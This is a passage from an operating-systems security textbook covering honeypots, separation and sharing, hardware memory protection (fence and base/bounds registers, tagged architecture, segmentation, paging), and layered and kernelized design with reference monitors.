Cliff Stoll [STO88] and Bill Cheswick [CHE90] both employed this form of hon- eypot to engage with their separate attackers. The attackers were interested in sensitive data, especially to identify vulnerabilities (presumably to exploit later). In these cases, the researchers engaged with the attacker, supplying real or false results in real time. Stoll, for example, decided to simulate the effect of a slow speed, unreliable connection. This gave Stoll the time to analyze the attacker’s commands and make certain files vis- ible to the attacker; if the attacker performed an action that Stoll was not ready or did not want to simulate, Stoll simply broke off the communication, as if the unreliable line had failed yet again. Obviously, this kind of honeypot requires a great investment of the administrator’s time and mental energy.

Some security researchers operate honeypots as a way of seeing what the opposi- tion is capable of doing. Virus detection companies put out attractive, poorly protected systems and then check how the systems have been infected: by what means, with what result. This research helps inform further product development.

In all these cases, a honeypot is an attractive target that turns out to be a virtual machine: What the attacker can see is a chosen, controlled view of the actual system.

Honeypot: system to lure an attacker into an environment that can be both controlled and monitored

296 Chapter 5 Operating Systems

These examples of types of virtual machines show how they can be used to imple- ment a controlled security environment. Next we consider how an operating system can control sharing by separating classes of subjects and objects.

Separation and Sharing

The basis of protection is separation: keeping one user’s objects separate from other users. John Rushby and Brian Randell [RUS83] note that separation in an operating system can occur in several ways:

• physical separation, by which different processes use different physical objects, such as separate printers for output requiring different levels of security

• temporal separation, by which processes having different security requirements are executed at different times

• logical separation, by which users operate under the illusion that no other pro- cesses exist, as when an operating system constrains a program’s accesses so that the program cannot access objects outside its permitted domain

• cryptographic separation, by which processes conceal their data and computa- tions in such a way that they are unintelligible to outside processes

Of course, combinations of two or more of these forms of separation are also possible.

The categories of separation are listed roughly in increasing order of complexity to implement, and, for the first three, in decreasing order of the security provided. However, the first two approaches are very stringent and can lead to poor resource utilization. Therefore, we would like to shift the burden of protection to the operating system to allow concurrent execution of processes having different security needs.

But separation is only half the answer. We generally want to separate one user from another user’s objects, but we also want to be able to provide sharing for some of those objects. For example, two users with two bodies of sensitive data may want to invoke the same search algorithm or function call. We would like the users to be able to share the algorithms and functions without compromising their individual data. An operating system can support separation and sharing in several ways, offering protection at any of several levels.

• Do not protect. Operating systems with no protection are appropriate when sen- sitive procedures are being run at separate times.

• Isolate. When an operating system provides isolation, different processes run- ning concurrently are unaware of the presence of each other. Each process has its own address space, files, and other objects. The operating system must con- fine each process somehow so that the objects of the other processes are com- pletely concealed.

• Share all or share nothing. With this form of protection, the owner of an object declares it to be public or private. A public object is available to all users, whereas a private object is available only to its owner.

Separation occurs by space, time, access control, or cryptography.

Section 5.1 Security in Operating Systems 297

• Share but limit access. With protection by access limitation, the operating sys- tem checks the allowability of each user’s potential access to an object. That is, access control is implemented for a specific user and a specific object. Lists of acceptable actions guide the operating system in determining whether a particu- lar user should have access to a particular object. In some sense, the operating system acts as a guard between users and objects, ensuring that only authorized accesses occur.

• Limit use of an object. This form of protection limits not just the access to an object but the use made of that object after it has been accessed. For example, a user may be allowed to view a sensitive document but not to print a copy of it. More powerfully, a user may be allowed access to data in a database to derive statistical summaries (such as average salary at a particular grade level), but not to determine specific data values (salaries of individuals).

Again, these modes of sharing are arranged in increasing order of difficulty to imple- ment, but also in increasing order of fineness (which we also describe as granularity) of protection they provide. A given operating system may provide different levels of protection for different objects, users, or situations. As we described earlier in this chap- ter, the granularity of control an operating system implements may not be ideal for the kinds of objects a user needs.

Hardware Protection of Memory

In this section we describe several ways of protecting a memory space. We want a pro- gram to be able to share selected parts of memory with other programs and even other users, and especially we want the operating system and a user to coexist in memory without the user’s being able to interfere with the operating system. Even in single-user systems, as you have seen, it may be desirable to protect a user from potentially com- promisable system utilities and applications. Although the mechanisms for achieving this kind of sharing are somewhat complicated, much of the imple- mentation can be reduced to hard- ware, thus making sharing efficient and highly resistant to tampering.

Fence The simplest form of memory protection was introduced in single-user operating sys- tems, to prevent a faulty user program from destroying part of the resident portion of the operating system. As its name implies, a fence is a method to confine users to one side of a boundary.

In one implementation, the fence was a predefined memory address, enabling the operating system to reside on one side and the user to stay on the other. An example of this situation is shown in Figure 5-6. Unfortunately, this kind of implementation was very restrictive because a predefined amount of space was always reserved for the oper- ating system, whether the space was needed or not. If less than the predefined space was required, the excess space was wasted. Conversely, if the operating system needed more space, it could not grow beyond the fence boundary.

Memory protection implements both separation and sharing.

298 Chapter 5 Operating Systems

Another implementation used a hardware register, often called a fence register, con- taining the address of the end of the operating system. In contrast to a fixed fence, in this scheme the location of the fence could be changed. Each time a user program generated an address for data modification, the address was automatically compared with the fence address. If the address was greater than the fence address (that is, in the user area), the instruction was executed; if it was less than the fence address (that is, in the operating system area), an error condition was raised. The use of fence registers is shown in Figure 5-7.

A fence register protects in only one direction. In other words, an operating system can be protected from a single user, but the fence cannot protect one user from another user. Similarly, a user cannot identify certain areas of the program as inviolable (such as the code of the program itself or a read-only data area).

Base/Bounds Registers A major advantage of an operating system with fence registers is the ability to relo- cate; this characteristic is especially important in a multiuser environment, although it is also useful with multiple concurrent processes loaded dynamically (that is, only when called). With two or more users, none can know in advance where a program will be loaded for execution. The relocation register solves the problem by providing a base or starting address. All addresses inside a program are offsets from that base address. A variable fence register is generally known as a base register.

Fence registers designate a lower bound (a starting address) but not an upper one. An upper bound can be useful in knowing how much space is allotted and in checking for overflows into “forbidden” areas. To overcome this difficulty, a second register is often added, as shown in Figure 5-8. The second register, called a bounds register, is an upper address limit, in the same way that a base or fence register is a lower address


Operating System

User Program Space

Addresses 0


n + 1


Hardware Address


Addressing Range

FIGURE 5-6 Fence Protection

Section 5.1 Security in Operating Systems 299

limit. Each program address is forced to be above the base address because the contents of the base register are added to the address; each address is also checked to ensure that it is below the bounds address. In this way, a program’s addresses are neatly confined to the space between the base and the bounds registers.

Address Limit



Operating System Version 2

User Program Space

Addresses 0


p + 1


p + 1

Address Limit



Operating System Version 1

User Program Space

Addresses 0


n + 1


n + 1

Addressing Range

Addressing Range

FIGURE 5-7 Fence Registers


Operating System

User A Program Space

Addresses 0


n + 1


Base Register

n + 1

Bounds Register


User C Program Space

User B Program Space

User Program Space


q + 1


p + 1

FIGURE 5-8 Base and Bounds Registers

300 Chapter 5 Operating Systems

This technique protects a program’s addresses from modification by another user. When execution changes from one user’s program to another’s, the operating system must change the contents of the base and bounds registers to reflect the true address space for that user. This change is part of the general preparation, called a context switch, that the operating system must perform when transferring control from one user to another.

With a pair of base/bounds registers, each user is perfectly protected from outside users, or, more correctly, outside users are protected from errors in any other user’s program. Erroneous addresses inside a user’s address space can still affect that program because the base/bounds checking guarantees only that each address is inside the user’s address space. For example, a user error might occur when a subscript is out of range or an undefined variable generates an address reference within the user’s space but, unfortunately, inside the executable instructions of the user’s program. In this manner, a user can accidentally store data on top of instructions. Such an error can let a user inadvertently destroy a program, but (fortunately) only that user’s own program.

We can solve this overwriting problem by using another pair of base/bounds reg- isters, one for the instructions (code) of the program and a second for the data space. Then, only instruction fetches (instructions to be executed) are relocated and checked with the first register pair, and only data accesses (operands of instructions) are relo- cated and checked with the second register pair. The use of two pairs of base/bounds registers is shown in Figure 5-9. Although two pairs of registers do not prevent all pro- gram errors, they limit the effect of data-manipulating instructions to the data space.

Base/bounds registers surround a program, data area, or domain.

Operating System

Program Base

Program Bounds

User Program and Data


Data Base

Data Bounds User B

Data Space

User A Data Space

User C Data Space

User A Program Space

User C Program Space

User B Program Space

FIGURE 5-9 Two Pairs of Base and Bounds Registers

Section 5.1 Security in Operating Systems 301

The pairs of registers offer another more important advantage: the ability to split a pro- gram into two pieces that can be relocated separately.

These two features seem to call for the use of three or more pairs of registers: one for code, one for read-only data, and one for modifiable data values. Although in theory this concept can be extended, two pairs of registers are the limit for practical computer design. For each additional pair of registers (beyond two), something in the machine code or state of each instruction must indicate which relocation pair is to be used to address the instruction’s operands. That is, with more than two pairs, each instruction specifies one of two or more data spaces. But with only two pairs, the decision can be automatic: data operations (add, bit shift, compare) with the data pair, execution opera- tions (jump) with the code area pair.

Tagged Architecture Another problem with using base/bounds registers for protection or relocation is their contiguous nature. Each pair of registers confines accesses to a consecutive range of addresses. A compiler or loader can easily rearrange a program so that all code sections are adjacent and all data sections are adjacent.

However, in some cases you may want to protect some data values but not all. For example, a personnel record may require protecting the field for salary but not office location and phone number. Moreover, a programmer may want to ensure the integrity of certain data values by allowing them to be written when the program is initialized but prohibiting the program from modifying them later. This scheme protects against errors in the programmer’s own code. A programmer may also want to invoke a shared subprogram from a common library. We can address some of these issues by using good design, both in the operating system and in the other programs being run. Recall that in Chapter 3 we studied good design characteristics such as information hiding and modularity in program design. These characteristics dictate that one program module must share with another module only the minimum amount of data necessary for both of them to do their work.

Additional, operating-system-specific design features can help, too. Base/bounds registers create an all-or-nothing situation for sharing: Either a program makes all its data available to be accessed and modified or it prohibits access to all. Even if there were a third set of registers for shared data, all shared data would need to be located together. A procedure could not effectively share data items A, B, and C with one mod- ule, A, C, and D with a second, and A, B, and D with a third. The only way to accom- plish the kind of sharing we want would be to move each appropriate set of data values to some contiguous space. However, this solution would not be acceptable if the data items were large records, arrays, or structures.

An alternative is tagged architecture, in which every word of machine memory has one or more extra bits to identify the access rights to that word. These access bits can be set only by privileged (operating system) instructions. The bits are tested every time an instruction accesses that location.

For example, as shown in Figure 5-10, one memory location may be protected as execute-only (for example, the object code of instructions), whereas another is pro- tected for fetch-only (for example, read) data access, and another accessible for modi- fication (for example, write). In this way, two adjacent locations can have different

302 Chapter 5 Operating Systems

access rights. Furthermore, with a few extra tag bits, different classes of data (numeric, character, address, or pointer, and undefined) can be separated, and data fields can be protected for privileged (operating system) access only.

This protection technique has been used on a few systems, although the number of tag bits has been rather small. The Burroughs B6500-7500 system used three tag bits to separate data words (three types), descriptors (pointers), and control words (stack pointers and addressing control words). The IBM System/38 used a tag to control both integrity and access.

A machine architecture called BiiN, designed by Siemens and Intel together, used one tag that applied to a group of consecutive locations, such as 128 or 256 bytes. With one tag for a block of addresses, the added cost for implementing tags was not as high as with one tag per location. The Intel I960 extended-architecture processor used a tagged architecture with a bit on each memory word that marked the word as a “capa- bility,” not as an ordinary location for data or instructions. A capability controlled the access to a variable-sized memory block or segment. This large number of possible tag values supported memory segments that ranged in size from 64 to 4 billion bytes, with a potential 2256 different protection domains.

Compatibility of code presented a problem with the acceptance of a tagged architec- ture. A tagged architecture may not be as useful as more modern approaches, as we see shortly. Some of the major computer vendors are still working with operating systems that were designed and implemented many years ago for architectures of that era: Unix dates to the 1970s; Mach, the heart of Apple’s iOS, was a 1980s derivative of Unix; and parts of modern Windows are from the 1980s DOS, early 1990s Windows, and late 1990s NT. Indeed, most manufacturers are locked into a more conventional memory architecture because of the wide availability of components and a desire to maintain

Tag Memory Word

R 0001

RW 0137

R 0099



R 4091

RW 0002





Code: R = Read-only RW = Read/Write X = Execute-onlyFIGURE 5-10 Tagged Architecture

Section 5.1 Security in Operating Systems 303

compatibility among operating systems and machine families. A tagged architecture would require fundamental changes to substantially all the operating system code, a requirement that can be prohibitively expensive. But as the price of memory continues to fall, the implementation of a tagged architecture becomes more feasible.

Virtual Memory We present two more approaches to memory protection, each of which can be imple- mented on top of a conventional machine structure, suggesting a better chance of accep- tance. Although these approaches are ancient by computing standards—they were designed between 1965 and 1975—they have been implemented on many machines since then. Furthermore, they offer important advantages in addressing, with memory protection being a delightful bonus.

Segmentation The first of these two approaches, segmentation, involves the simple notion of dividing a program into separate pieces. Each piece has a logical unity, exhibiting a relationship among all its code or data values. For example, a segment may be the code of a single procedure, the data of an array, or the collection of all local data values used by a particu- lar module. Segmentation was developed as a feasible means to produce the effect of the equivalent of an unbounded number of base/bounds registers. In other words, segmenta- tion allows a program to be divided into many pieces having different access rights.

Each segment has a unique name. A code or data item within a segment is addressed as the pair �name, offset�, where name is the name of the segment containing the data item and offset is its location within the segment (that is, its distance from the start of the segment).

Logically, the programmer pictures a program as a long collection of segments. Seg- ments can be separately relocated, allowing any segment to be placed in any available memory locations. The relationship between a logical segment and its true memory position is shown in Figure 5-11.

The operating system must maintain a table of segment names and their true addresses in memory. When a program generates an address of the form �name, offset�, the operating system looks up name in the segment directory and determines its real beginning memory address. To that address the operating system adds offset, giving the true memory address of the code or data item. This translation is shown in Figure 5-12. For efficiency there is usually one operating system segment address table for each process in execution. Two processes that need to share access to a single segment would have the same segment name and address in their segment tables.

Thus, a user’s program does not know what true memory addresses it uses. It has no way—and no need—to determine the actual address associated with a particular �name, offset�. The �name, offset� pair is adequate to access any data or instruction to which a program should have access.

This hiding of addresses has three advantages for the operating system.

• The operating system can place any segment at any location or move any seg- ment to any location, even after the program begins to execute. Because the operating system translates all address references by a segment address table,

304 Chapter 5 Operating Systems

the operating system need only update the address in that one table when a seg- ment is moved.

• A segment can be removed from main memory (and stored on an auxiliary device) if it is not being used currently. (These first two advantages explain why this technique is called virtual memory, with the same basis as the virtualization described earlier in this chapter. The appearance of memory to the user is not necessarily what actually exists.)

• Every address reference passes through the operating system, so there is an opportunity to check each one for protection.

Because of this last characteristic, a process can access a segment only if that seg- ment appears in that process’s segment-translation table. The operating system controls which programs have entries for a particular segment in their segment address tables. This control provides strong pro- tection of segments from access by unpermitted processes. For exam- ple, program A might have access to segments BLUE and GREEN of user X but not to other segments of

Logical Arrangement of Program

Physical Placement of Program ’s Segments









Operating System Segments

Segments for Other Users

FIGURE 5-11 Segmentation

Segmentation allows hardware- supported controlled access to different memory sections in different access modes.

Section 5.1 Security in Operating Systems 305

that user or of any other user. In a straightforward way we can allow a user to have dif- ferent protection classes for different segments of a program. For example, one segment might be read-only data, a second might be execute-only code, and a third might be writeable data. In a situation like this one, segmentation can approximate the goal of separate protection of different pieces of a program, as outlined in the previous section on tagged architecture.

Segmentation offers these security benefits:

• Each address reference is checked—neither too high nor too low—for protection.

• Many different classes of data items can be assigned different levels of protection.

• Two or more users can share access to a segment, with potentially different access rights.

• A user cannot generate an address or access to an unpermitted segment.

One protection difficulty inherent in segmentation concerns segment size. Each seg- ment has a particular size. However, a program can generate a reference to a valid seg- ment name, but with an offset beyond the end of the segment. For example, reference �A,9999� looks perfectly valid, but in reality segment A may be only 200 bytes long. If left unplugged, this security hole could allow a program to access any memory address beyond the end of a segment just by using large values of offset in an address.

Logical Program













Segment Translation Table Address





d e

f g




Location 20 within Segment DATA_SEG


FIGURE 5-12 Segment Address Translation

306 Chapter 5 Operating Systems

This problem cannot be stopped during compilation or even when a program is loaded, because effective use of segments requires that they be allowed to grow in size during execution. For example, a segment might contain a dynamic data structure such as a stack. Therefore, secure implementation of segmentation requires the checking of a generated address to verify that it is not beyond the current end of the segment refer- enced. Although this checking results in extra expense (in terms of time and resources), segmentation systems must perform this check; the segmentation process must maintain the current segment length in the translation table and compare every address generated.

Thus, we need to balance protection with efficiency, finding ways to keep segmen- tation as efficient as possible. However, efficient implementation of segmentation pre- sents two problems: Segment names are inconvenient to encode in instructions, and the operating system’s lookup of the name in a table can be slow. To overcome these diffi- culties, segment names are often converted to numbers by the compiler when a program is translated; the compiler also appends a linkage table that matches numbers to true segment names. Unfortunately, this scheme presents an implementation difficulty when two procedures need to share the same segment, because the assigned segment numbers of data accessed by that segment must be the same.

Paging An alternative to segmentation is paging. The program is divided into equal-sized pieces called pages, and memory is divided into equal-sized units called page frames. (For implementation reasons, the page size is usually chosen to be a power of 2 between 512 and 4096 bytes.) As with segmentation, each address in a paging scheme is a two- part object, this time consisting of �page, offset�.

Each address is again translated by a process similar to that of segmentation: The operating system maintains a table of user page numbers and their true addresses in memory. The page portion of every �page, offset� reference is converted to a page frame address by a table lookup; the offset portion is added to the page frame address to pro- duce the real memory address of the object referred to as �page, offset�. This process is illustrated in Figure 5-13.

Unlike segmentation, all pages in the paging approach are of the same fixed size, so fragmentation is not a problem. Each page can fit in any available page in memory, thus obviating the problem of addressing beyond the end of a page. The binary form of a �page, offset� address is designed so that the offset values fill a range of bits in the address. Therefore, an offset beyond the end of a particu- lar page results in a carry into the page portion of the address, which changes the address.

To see how this idea works, consider a page size of 1024 bytes (1024 � 210), where 10 bits are allocated for the offset portion of each address. A program cannot generate an offset value larger than 1023 in 10 bits. Moving to the next location after �x,1023� causes a carry into the page portion, thereby moving translation to the next page. During the translation, the paging process checks to verify that a �page, offset� reference does not exceed the maximum number of pages the process has defined.

Paging allows the security advantages of segmentation with more efficient memory management.

Section 5.1 Security in Operating Systems 307

With a segmentation approach, a programmer must be conscious of segments. How- ever, a programmer is oblivious to page boundaries when using a paging-based operat- ing system. Moreover, with paging there is no logical unity to a page; a page is simply the next 2n bytes of the program. Thus, a change to a program, such as the addition of one instruction, pushes all subsequent instructions to lower addresses and moves a few bytes from the end of each page to the start of the next. This shift is not something about which the programmer need be concerned, because the entire mechanism of paging and address translation is hidden from the programmer.

However, when we consider protection, this shift is a serious problem. Because seg- ments are logical units, we can associate different segments with individual protection rights, such as read-only or execute-only. The shifting can be handled efficiently during address translation. But with paging, there is no necessary unity to the items on a page, so there is no way to establish that all values on a page should be protected at the same level, such as read-only or execute-only.

Combined Paging with Segmentation We have seen how paging offers implementation efficiency, while segmentation offers logical protection characteristics. Since each approach has drawbacks as well as desir- able features, the two approaches have been combined.

The IBM 390 family of mainframe systems used a form of paged segmentation. Similarly, the Multics operating system (implemented on a GE-645 machine) applied

Logical Program

Page 0 Page 1

Page 2

Page 4

Page 3

Page 5

Page 6

Page 7

















Page Translation Table Page Address

Page 0

Page 4

Page 7

Page 1

Page 5

Page 2

Page 3

Page 6

MemoryAddress 0 a b















Location 37, Page 4


FIGURE 5-13 Page Address Translation

308 Chapter 5 Operating Systems

paging on top of segmentation. In both cases, the programmer could divide a program into logical segments. Each segment was then broken into fixed-size pages. In Multics, the segment name portion of an address was an 18-bit number with a 16-bit offset. The addresses were then broken into 1024-byte pages. The translation process is shown in Figure 5-14. This approach retained the logical unity of a segment and permitted dif- ferentiated protection for the segments, but it added an additional layer of translation for each address. Additional hardware improved the efficiency of the implementation.

These hardware mechanisms provide good memory protection, even though their orig- inal purpose was something else indeed: efficient memory allocation and data relocation, with security a fortuitous side effect. In operating systems, security has been a central requirement and design element since the beginning, as we explore in the next section.


As we just discussed, operating systems are complex pieces of software. The compo- nents come from many sources, some pieces are legacy code to support old functions;



MAIN Page 0

SEG_A Page 1

MAIN Page 1

SEG_A Page 2

SUB Page 0


SEG_A Page 0

Address 0
















Segment DATA_SEG Word 20

Logical Program





Segment Translation Table





Segment Page Table





Page Translation Tables

For Segment MAIN Page Address







For Segment SEG_A Page Address





0 i

For Segment SUB Page Address

Page Address


20 = Page 0


For Segment DATA_SEG

FIGURE 5-14 Address Translation with Paged Segmentation

Section 5.2 Security in the Design of Operating Systems 309

other pieces date back literally decades, with long-forgotten design characteristics. And some pieces were written just yesterday. Old and new pieces must interact and interface successfully, and new designers must ensure that their code works correctly with all existing previous versions, not to mention the numerous applications that exist.

Exploit authors capitalize on this complexity by experimenting to locate interface mismatches: a function no longer called, an empty position in the table of interrupts handled, a forgotten device driver. The operating system opens many points to which code can later attach as pieces are loaded during the boot process; if one of these pieces is not present, the malicious code can attach instead.

Obviously, not all complex software is vulnerable to attack. The point we are mak- ing is that the more complex the software, the more possibilities for unwanted soft- ware introduction. A house with no windows leaves no chance for someone to break in through a window, but each additional window in a house design increases the potential for this harm and requires the homeowner to apply more security. Now extend this metaphor to modern operating systems that typically include millions of lines of code: What is the likelihood that every line is perfect for its use and fits perfectly with every other line?

The principles of secure program design we introduced in Chapter 3 apply equally well to operating systems. Simple, modular, loosely coupled designs present fewer opportunities to the attacker.

Simplicity of Design

Operating systems by themselves (regardless of their security constraints) are difficult to design. They handle many duties, are subject to interruptions and context switches, and must minimize overhead so as not to slow user computations and interactions. Add- ing the responsibility for security enforcement to the operating system increases the difficulty of design.

Nevertheless, the need for effective security is pervasive, and good software engi- neering principles tell us how important it is to design in security at the beginning than to shoehorn it in at the end. (See Sidebar 5-2 for more about good design principles.) Thus, this section focuses on the design of operating systems for a high degree of security. We look in particular at the design of an operating system’s kernel; how the kernel is designed suggests whether security will be provided effectively. We study two different interpretations of the kernel, and then we consider layered or ring-structured designs.

Layered Design

As described previously, a nontrivial operating system consists of at least four levels: hardware, kernel, operating system, and user. Each of these layers can include sublay- ers. For example, in [SCH83], the kernel has five distinct layers. The user level may also have quasi-system programs, such as database managers or graphical user interface shells, that constitute separate layers of security themselves.

310 Chapter 5 Operating Systems

Layered Trust

As we discussed earlier in this chapter, the layered structure of a secure operating sys- tem can be thought of as a series of concentric circles, with the most sensitive opera- tions in the innermost layers. An equivalent view is as a building, with the most sensitive tasks assigned to lower floors. Then, the trustworthiness and access rights of a process can be judged by the process’s proximity to the center: The more trusted processes are closer to the center or bottom.

Implicit in the use of layering as a countermeasure is separation. Earlier in this chap- ter we described ways to implement separation: physical, temporal, logical, and crypto- graphic. Of these four, logical (software-based) separation is most applicable to layered design, which means a fundamental (inner or lower) part of the operating system must control the accesses of all outer or higher layers to enforce separation.

SIDEBAR 5-2 The Importance of Good Design Principles

Every design, whether it be for hardware or software, must begin with a design philosophy and guiding principles. These principles suffuse the design, are built in from the beginning, and are preserved (according to the design philosophy) as the design evolves.

The design philosophy expresses the overall intentions of the design- ers, not only in terms of how the system will look and act but also in terms of how it will be tested and maintained. Most systems are not built for short- term use. They grow and evolve as the world changes over time. Features are enhanced, added, or deleted. Supporting or communicating hardware and software change. The system is fixed as problems are discovered and their causes rooted out. The design philosophy explains how the system will “hang together,” maintaining its integrity through all these changes. A good design philosophy will make a system easy to test and easy to change.

The philosophy suggests a set of good design principles. Modularity, information hiding, and other notions discussed in Chapter 3 form guide- lines that enable designers to meet their goals for software quality. Since security is one of these goals, it is essential that security policy be con- sistent with the design philosophy and that the design principles enable appropriate protections to be built into the system.

When the quality of the design is not considered up-front and embed- ded in the development process, the result can be a sort of software anar- chy. The system may run properly at first, but as changes are made, the software degrades quickly and in a way that makes future changes more difficult and time consuming. The software becomes brittle, failing more often and sometimes making it impossible for features, including security, to be added or changed. Equally important, brittle and poorly designed software can easily hide vulnerabilities because the software is so difficult to understand and the execution states so hard to follow, reproduce, and test. Thus, good design is in fact a security issue, and secure software must be designed well.

Section 5.2 Security in the Design of Operating Systems 311

Peter Neumann [NEU86] describes the layered structure used for the Provably Secure Operating System (PSOS). Some lower-level layers present some or all of their functionality to higher levels, but each layer properly encapsulates those things below itself.

A layered approach is another way to achieve encapsulation, presented in Chapter 3. Layering is recognized as a good operating system design. Each layer uses the more central layers as services, and each layer provides a certain level of functionality to the layers farther out. In this way, we can “peel off” each layer and still have a logically complete system with less functionality. Layering presents a good example of how to trade off and balance design characteristics.

Another justification for layering is damage control. To see why, consider Neumann’s two examples of risk. In a conventional, nonhierarchically designed system (shown in Table 5-1), any problem—hardware failure, software flaw, or unexpected condition, even in a supposedly irrelevant nonsecurity portion—can cause disaster because the effect of the problem is unbounded and because the system’s design means that we can- not be confident that any given function has no (indirect) security effect.

TABLE 5-1 Conventional (Nonhierarchical) Design

Level Functions Risk

all Noncritical functions Disaster possible

all Less critical functions Disaster possible

all More critical functions Disaster possible

TABLE 5-2 Hierarchically Designed System

Level Functions Risk

2 Noncritical functions Few disasters likely from noncritical software

1 Less critical functions Some failures possible from less critical functions, but because of separation, impact limited

0 More critical functions Disasters possible, but unlikely if system simple enough for more critical functions to be analyzed extensively

By contrast, as shown in Table 5-2, hierarchical structuring has two benefits:

• Hierarchical structuring permits identification of the most critical parts, which can then be analyzed intensely for correctness, so the number of problems should be smaller.

• Isolation limits effects of problems to the hierarchical levels at and above the point of the problem, so the harmful effects of many problems should be confined.

312 Chapter 5 Operating Systems

These design properties—the kernel, separation, isolation, and hierarchical structure—have been the basis for many trustworthy system proto- types. They have stood the test of time as best design and implementa- tion practices.

Kernelized Design

A kernel is the part of an operating system that performs the lowest-level functions. In standard operating system design, the kernel implements operations such as synchroni- zation, interprocess communication, message passing, and interrupt handling. The ker- nel is also called a nucleus or core. The notion of designing an operating system around a kernel is described by Butler Lampson and Howard Sturgis [LAM76] and by Gerald Popek and Charles Kline [POP78].

A security kernel is responsible for enforcing the security mechanisms of the entire operating system. The security kernel provides the security interfaces among the hard- ware, operating system, and other parts of the computing system. Typically, the oper- ating system is designed so that the security kernel is contained within the operating system kernel. Secu- rity kernels are discussed in detail by Stan Ames [AME83].

There are several good design reasons why security functions may be isolated in a security kernel.

• Coverage. Every access to a protected object must pass through the security ker- nel. In a system designed in this way, the operating system can use the security kernel to ensure that every access is checked.

• Separation. Isolating security mechanisms both from the rest of the operating system and from the user space makes it easier to protect those mechanisms from penetration by the operating system or the users.

• Unity. All security functions are performed by a single set of code, so it is easier to trace the cause of any problems that arise with these functions.

• Modifiability. Changes to the security mechanisms are easier to make and easier to test. And because of unity, the effects of changes are localized so interfaces are easier to understand and control.

• Compactness. Because it performs only security functions, the security kernel is likely to be relatively small.

• Verifiability. Being relatively small, the security kernel can be analyzed rigor- ously. For example, formal methods can be used to ensure that all security situa- tions (such as states and state changes) have been covered by the design.

Notice the similarity between these advantages and the design goals of operating systems that we described earlier. These characteristics also depend in many ways on modularity, as described in Chapter 3.

Layering ensures that a security problem affects only less sensitive layers.

Security kernel: locus of all security enforcement

Section 5.2 Security in the Design of Operating Systems 313

On the other hand, implementing a security kernel may degrade system performance because the kernel adds yet another layer of interface between user programs and oper- ating system resources. Moreover, the presence of a kernel does not guarantee that it contains all security functions or that it has been implemented correctly. And in some cases a security kernel can be quite large.

How do we balance these positive and negative aspects of using a security ker- nel? The design and usefulness of a security kernel depend somewhat on the overall approach to the operating system’s design. There are many design choices, each of which falls into one of two types: Either the security kernel is designed as an addition to the operating system or it is the basis of the entire operating system. Let us look more closely at each design choice.

Reference Monitor

The most important part of a security kernel is the reference monitor, the portion that controls accesses to objects [AND72, LAM71]. We introduced reference monitors in Chapter 2. The reference monitor separates subjects and objects, enforcing that a sub- ject can access only those objects expressly allowed by security policy. A reference monitor is not necessarily a single piece of code; rather, it is the collection of access controls for devices, files, memory, interprocess communication, and other kinds of objects. As shown in Figure 5-15, a reference monitor acts like a brick wall around the operating system or trusted software to mediate accesses by subjects (S) to objects (O).

As stated in Chapter 2, a reference monitor must be

• tamperproof, that is, impossible to weaken or disable

• unbypassable, that is, always invoked when access to any object is required

• analyzable, that is, small enough to be subjected to analysis and testing, the completeness of which can be ensured

The reference monitor is not the only security mechanism of a trusted operating sys- tem. Other parts of the security suite include auditing and identification and authentica- tion processing, as well as setting enforcement parameters, such as who are allowable

Operating SystemorTrusted Software Operating SystemorTrusted Software Reference Monitor





FIGURE 5-15 Reference Monitor

314 Chapter 5 Operating Systems

subjects and what objects they are allowed to access. These other security parts interact with the reference monitor, receiving data from the reference monitor or providing it with the data it needs to operate.

The reference monitor concept has been used for many trusted operating systems and also for smaller pieces of trusted software. The validity of this concept is well supported both in research and in practice. Paul Karger [KAR90, KAR91] and Morrie Gasser [GAS88] describe the design and construction of the kernelized DEC VAX operating system that adhered strictly to use of a reference monitor to control access.

Correctness and Completeness

That security considerations pervade the design and structure of operating systems requires correctness and completeness. Correctness implies that because an operating system controls the interaction between subjects and objects, security must be consid- ered in every aspect of its design. That is, the operating system design must include definitions of which objects will be protected in what ways, what subjects will have access and at what levels, and so on. There must be a clear mapping from the security requirements to the design so that all developers can see how the two relate.

Moreover, after designers have structured a section of the operating system, they must check to see that the design actually implements the degree of security that it is supposed to enforce. This checking can be done in many ways, including formal reviews or simulations. Again, a mapping is necessary, this time from the requirements to design to tests, so that developers can affirm that each aspect of operating system security has been tested and shown to work correctly. Because security appears in every part of an operating system, security design and implementation cannot be left fuzzy or vague until the rest of the system is working and being tested.

Completeness requires that security functionality be included in all places necessary. Although this requirement seems self-evident, not all developers are necessarily think- ing of security as they design and write code, so security completeness is challenging. It is extremely hard to retrofit secu- rity features to an operating system designed with inadequate security. Leaving an operating system’s secu- rity to the last minute is much like trying to install plumbing or electrical wiring in a house whose foundation is set, floors laid, and walls already up and painted; not only must you destroy most of what you have built, but you may also find that the general structure can no longer accommodate all that is needed (and so some has to be left out or compromised). And last-minute additions are often done hastily under time pressure, which does not encourage completeness.

Thus, security must be an essen- tial part of the initial design of a trusted operating system. Indeed, the security considerations may shape many of the other design decisions, especially for a system

Security enforcement must be correct and complete.

Security seldom succeeds as an add- on; it must be part of the initial philosophy, requirements, design, and implementation.

Section 5.2 Security in the Design of Operating Systems 315

with complex and constraining security requirements. For the same reasons, the secu- rity and other design principles must be carried throughout implementation, testing, and maintenance. Phrased differently, as explained in Sidebar 5-3, security emphatically cannot be added on at the end.

Secure Design Principles

Good design principles are always good for security, as we have noted above. But sev- eral important design principles are particular to security and essential for building a solid, trusted operating system. These principles, articulated well by Jerome Saltzer and Michael Schroeder [SAL74, SAL75], were raised in Chapter 3; we repeat them here because of their importance in the design of secure operating systems.

• least privilege

• economy of mechanism

• open design

• complete mediation

SIDEBAR 5-3 Security as an Add-On

In the 1980s, the U.S. State Department handled its diplomatic office func- tions with a network of Wang computers. Each American embassy had at least one Wang system, with specialized word processing software to cre- ate documents, modify them, store and retrieve them, and send them from one location to another. Supplementing Wang’s office automation software was the State Department’s own Foreign Affairs Information System (FAIS).

In the mid-1980s, the State Department commissioned a private con- tractor to add security to FAIS. Diplomatic and other correspondence was to be protected by a secure “envelope” surrounding sensitive materials. The added protection was intended to prevent unauthorized parties from “opening” an envelope and reading the contents.

To design and implement the security features, the contractor had to supplement features offered by Wang’s operating system and utilities. The security design depended on the current Wang VS operating system design, including the use of unused words in operating system files. As designed and implemented, the new security features worked properly and met the State Department requirements. But the system was bound for fail- ure because the evolutionary goals of VS were different from those of the State Department. That is, Wang could not guarantee that future modifica- tions to VS would preserve the functions and structure required by the con- tractor’s security software. In other words, Wang might need to appropriate some of the unused words in operating system files for new system func- tions, regardless of whether or not FAIS was using those words. Eventually, there were fatal clashes of intent and practice, and the added-on security functions failed.

316 Chapter 5 Operating Systems

• permission based

• separation of privilege

• least common mechanism

